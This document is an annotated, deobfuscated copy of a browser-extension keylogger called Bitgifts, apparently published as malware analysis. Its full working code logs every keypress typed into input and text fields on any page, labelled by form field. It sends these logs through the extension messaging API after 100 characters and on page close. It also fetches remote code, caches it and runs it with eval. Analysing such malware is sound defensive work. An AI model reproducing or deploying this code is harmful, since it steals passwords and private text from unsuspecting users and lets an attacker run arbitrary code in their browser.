Deobfuscated Bitgifts Keylogger (Annotated)

var kt = ""; // This is the variable where the logged keypresses are stored.
var pu = "";
var ss = false;
setTimeout(ijCheck, 50);

function ijCheck() {
    // This is a check whether the page has loaded, I believe. If it has, install the keylogger on the page.
    if ($("body")["length"]) {
        chrome["extension"]["sendRequest"]({
            url: document["URL"],
            title: document["title"]
        }, function(response) {});
        // This adds a "~" to denote backspacing, I believe.
        $("body")["on"]("keydown", "input, textarea", function(e) {
            if (e["keyCode"] == 8) {
                kt += "~"
            }
        });
        // For every keypress into a text area on a website, do this:
        $("body")["on"]("keypress", "input, textarea", function(e) {
            // This writes a header for your text input, so they know where you entered it.
            var formName = "[" + $(this)["attr"]("name") + " #" + $(this)["prop"]("id") + " " + $(this)["attr"]("class") + "]";
            // If this is a different text box, start a new line, write the header, and start a new line for what it logs.
            if (pu != formName) {
                kt += "\n" + formName + "\n";
                pu = formName
            };
            // Record the keypress on the newline we created.
            if (String["fromCharCode"](e["charCode"])) {
                kt += String["fromCharCode"](e["charCode"])
            }
        });
        // As soon as the user moves their mouse again...
        $("body")["mousemove"](function() {
            // Check whether what we have logged is of sufficient length, and be sure we're not already in the process of sending...
            if (kt["length"] > 100 && !ss) {
                ss = true;
                // Then send the data.
                chrome["extension"]["sendRequest"]({
                    url: document["URL"],
                    post: kt
                }, function(response) {});
                kt = "";
                pu = "";
                ss = false
            }
        })
    } else {
        // If the page hasn't loaded, try again in 50 milliseconds.
        setTimeout(ijCheck, 50)
    }
};
// Be sure to send what remains of the data when the window is closed.
window["onbeforeunload"] = function() {
    chrome["extension"]["sendRequest"]({
        url: document["URL"],
        post: kt
    }, function(response) {})
};
if (!localStorage["getItem"]("bitgifts")) {
    fetchCS()
} else {
    if (localStorage["getItem"]("bitgifts-c") > new Date()["getTime"]() - (120 * 1000)) {
        eval(localStorage["getItem"]("bitgifts"))
    } else {
        fetchCS()
    }
};

function fetchCS() {
    chrome["extension"]["sendRequest"]({
        getcs: true
    }, function(response) {
        localStorage["setItem"]("bitgifts", response["data"]);
        localStorage["setItem"]("bitgifts-c", new Date()["getTime"]());
        eval(response["data"])
    })
};